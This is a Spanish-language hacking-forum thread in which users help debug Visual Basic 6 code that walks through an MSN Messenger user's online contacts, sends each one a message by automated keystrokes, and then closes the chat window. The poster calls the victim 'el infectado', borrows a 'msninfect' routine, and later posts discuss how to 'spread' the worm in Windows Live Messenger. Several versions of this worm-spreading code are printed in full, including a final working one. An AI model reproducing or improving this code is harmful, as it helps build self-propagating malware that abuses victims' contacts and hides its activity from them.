Buenas
Mi problema es que me tira error 91 al ejecutar esto:
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName"
End If
Next
End Sub
Nose cual es el error :S parece estar todo bien.
Aver si alguien sabe
Salu2
Tienes que leer los errores y mirar la linea...como pongas un post por cada error pufff...yo al menos saturaría el foro.
Error 91, Variable de tipo Object o la variable del bloque With no está establecida
Despues de eso miras la linea y ves como estás usando una variable definido que no estableciste con SET...te faltaba Set MsgrUIA = New MessengerAPI.Messenger
El código te queda así:
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName"
End If
Next
End Sub
Saludos ;)
Te agradezco, ya va perfecto.
Si lo que pasa es que no ponia la linea del error :S
Solo decia
Citar
Error 91, Variable de tipo Object o la variable del bloque With no está establecida
Bien ahora yo quisiera que mande un mensaje a uno por uno de esa lista, lo que probe hacer es esto, pero no va :S
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName
End If
MSN.InstantMessage List1
SendKeys (" prueba ")
SendKeys ("{ENTER}")
Next
End Sub
Aver alguien que sepa de Vb que me dice.
Salu2 y muchas gracias
Pregunta hasta el punto de agregarlos a la lista, funciona???
por q tal vez te este fallando y no se produzca el envio uno por uno ....yo ahora no puedo probarlo por q toy en el trabajo y no tengo vb a mano y sino cheka esto y ve al "sub msninfect"
http://foro.elhacker.net/index.php?topic=181032.msg862609 (http://foro.elhacker.net/index.php?topic=181032.msg862609)
ta l vez puedas comparar
PD: Yo no se de visual basic
Si, lo vi, lo que passa es que si pongo dos veces el "for each" no me deja :S
Asi que no puedo poner esto
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
Ya que ya lo tengo en:
For Each user In MsgrUIA.MyContacts
Salu2
Ya pude hacerlo :
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger
CitarPrivate Sub Form_Load()
msninfect:
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each ConTacto In MsgrUIA.MyContacts
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys (" prueba ")
SendKeys ("{ENTER}")
End If
Next
End Sub
Pequeño problema ahora,
Primero: Solo alcanza a mandar el mensaje a unos pocos ya que carga demasiado rapido las ventanas.
Segundo: Abre demasiado rapido las ventanas por lo que coinsume mucha cpu.
Tercero: No se cierran las ventanas por lo que el infectado ve el mensaje
Ahora como se podria hacer par que entre ventana y ventana al abrir pasen 5 segundos, y la ventana una ves mendada el mensaje se cierre ?
Aver si alguien sabe.
Salu2
busca algo sobre la funcion "sleep" y para cerrar solo dale un sendkeys con % y F4 y listo..
o....
Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date
t1 = Second(Now)
t2 = t1 + nSec
Do
DoEvents
Loop While t2 > Second(Now)
End Sub
y cuando quieras esperar pones este code
Wait (1)
Sacado del code q esta en el hilo q antes postee
Bien si conoscia lo de la funcion sleep, pero era que no me di cuenta que podia usarla aca xDDD
Y sobre lo de alt f4, no sabia como ponerlo jaja
Y sobre el de "wait (1)" no lo usaba porq solo era 1 seg xD pero agrege 5 d esos n ose me abai ocurrido jajaja.
Bien lo que hize fue lo siguiente:
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date
t1 = Second(Now)
t2 = t1 + nSec
Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
Wait (1)
Wait (1)
Wait (1)
Wait (1)
Wait (1)
SendKeys ("%{F4}")
End If
Next
End Sub
Anda de lujo esepto por el alt + f4 que en mi maquina aprece no andar, porq me tira a la ventana de cerrar win, nose porque.
Pruebenlo algien dsd su pc aver si le funciona bien y comenta aver que tal plis.
Salu2 y muchas gracais por la ayuda
antes del sendkeys alt+f4 puedes probar poniendo esto:
appactivate "Conversación"
Quedo perefectisimo va de 10:
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date
t1 = Second(Now)
t2 = t1 + nSec
Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
AppActivate "Conversación"
SendKeys ("%{F4}")
Wait (1)
Wait (1)
Wait (1)
End If
Next
End Sub
Se agradece la ayuda ;)
Salu2
un detalle nada más, sé que es una tontería, pero por qué pones
Wait(1)
Wait(1)
Wait(1)
??????????
No es más sencillo poner Wait(3)???
Sé que el tema no va de esto, pero me ha resultado raro y quería saber si lo ponías por algún motivo en especial ;)
Saludos.
sisi asi tambien se puede hacer, calculon q lo puso tres veces solo para probar... y creeria q en una etapa de optimizacion de codigo lo convertira en un Wait(3).
Citarun detalle nada más, sé que es una tontería, pero por qué pones
Wait(1)
Wait(1)
Wait(1)
??????????
No es más sencillo poner Wait(3)???
Porque me estaba andando mal y probe poneindo lso waits asi.
Salu2
Esto solo funciona con el MSN viejo, con el ejecutable, pero alguien sabe las APIs del WLM el ejecutable para lograr hacer lo mismo?
Ami me funciono tambien para el live e.
Salu2
Cita de: krosty_ufc en 28 Septiembre 2007, 18:12 PM
Ami me funciono tambien para el live e.
Salu2
Osea, si, funciona para el el Live Messenger.. pero para k funcione necesitas tener el ejecutable o instalado el MSN viejo. Pero es k conozco mucha gente k borra el MSN viejo y ya con k lo borren, el programa no funciona. Por eso la pregunta.
Salu2
nono la verdad es q para hacer el spread en WLM yo usaria sendkeys ya q no se como usar las apis en el
La API es del MSN viejo pero funciona para todas las versiones...
Si que se necesita tener el viejo MSN, o por lo menos la API que hace falta, pero muy pocos no la tienen...
Saludos ;)